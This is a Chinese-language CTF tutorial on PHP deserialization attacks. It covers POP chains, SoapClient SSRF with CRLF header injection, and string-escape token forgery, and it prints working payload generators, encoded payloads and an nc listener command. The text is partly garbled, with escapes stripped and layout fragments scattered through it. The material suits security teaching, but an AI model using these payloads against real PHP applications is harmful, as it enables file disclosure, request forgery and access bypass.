unserialize()
之前没有进行相应的过滤会产生漏洞,因为PHP允许对象序列化,攻击者就可以提交特定的序列化字符串给一个具有相应漏洞的unserialize
函数,最终导致一个在该应用范围内的任意PHP对象注入。unserialize
的参数可控<?php class A{ var $name = "tide"; function __destruct(){ echo $this->test; } } $a = 'O:1:"A":1:{s:4:"name";s:4:"tide";}'; unserialize($a);
__destruct
函数,同时会覆盖test变量,输出tide。Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
首先列出题目中出现的魔术方法
__construct 当一个对象创建时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __get() 用于从不可访问的属性读取数据 #难以访问包括:(1)私有属性,(2)没有初始化的属性 __invoke() 当脚本尝试将对象调用为函数时触发
Modifier::__invoke()<--Test::__get()<--Show::__toString()
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "karsa";
}
}
class Test{
public $p;
}
$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>
nc -lvvp 4567
<?php $a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:4567')); $b = serialize($a); $c = unserialize($b); $c -> not_a_function();//调用不存在的方法,让SoapClient调用__call
SOAPAction
处使我们的可控参数,因此我们可以尝试在这里注入自己构造的CRLF,即插入**rn**
<?php $a = new SoapClient(null,array('location'=>'http://127.0.0.1:4567', 'user_agent'=>"tidernContent-Type:application/x-www-form-urlencodedrn"."Content-Length: ".(string)strlen($post_string)."rnrn".$post_string, 'uri'=>"aaa")); $b = serialize($a); $c = unserialize($b); $c -> not_a_function();//调用不存在的方法,让SoapClient调用__call
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
<?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag();
token=ctfshow
还有xff请求头,所以构造的payload如下:<?php $post_string = "token=ctfshow"; $a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>"aaaaaarnContent-Type:application/x-www-form-urlencodedrn"."X-Forwarded-For: 127.0.0.1,127.0.0.1rn"."Content-Length: ".(string)strlen($post_string)."rnrn".$post_string, 'uri'=>"aaa")); $b = serialize($a); echo urlencode($b);
X-Forwarded-For
里需要两个127.0.0.1是因为docker环境的cloudfare代理导致的。O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A129%3A%22aaaaaa%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
;
作为字段的分隔,以}
作为结尾,并根据长度判断内容,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
捋一捋逻辑,有一个正则匹配会把传入的序列化内容中的fuck
替换为loveU
,也就是长度从4变成了5,可以操作的内容增加了一位,而且只要message
类中的token
值为admin
,就会输出flag,所以payload如下:
";s:5:"token";s:5:"admin";}
fuck
来获取额外的27个长度,来满足我们的payload,所以最终构造的payload如下?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
x00*x00
x00*x00
也仍然会输出tide<?php class test{ protected $a; public function __construct(){ $this->a = 'tide'; } public function __destruct(){ echo $this->a; } } unserialize('O:4:"test":1:{s:1:"a";s:4:"tide";}');
__wakeup
的执行。<?php class test{ public $name; public $nickname; public function __construct(){ $this->name = 'abc'; $this->nickname= &$this->name; } } $a = serialize(new test());
$b
设置为$a
的引用,是$a
永远与$b
相等。O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";} 可以写成 O:4:"test":2:{S:4:"�0*�061";s:3:"abc";s:7:"%00test%00b";s:3:"def";} 表示字符类型的s大写时,会被当成16进制解析。
E
N
D
本文作者:TideSec
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/179300.html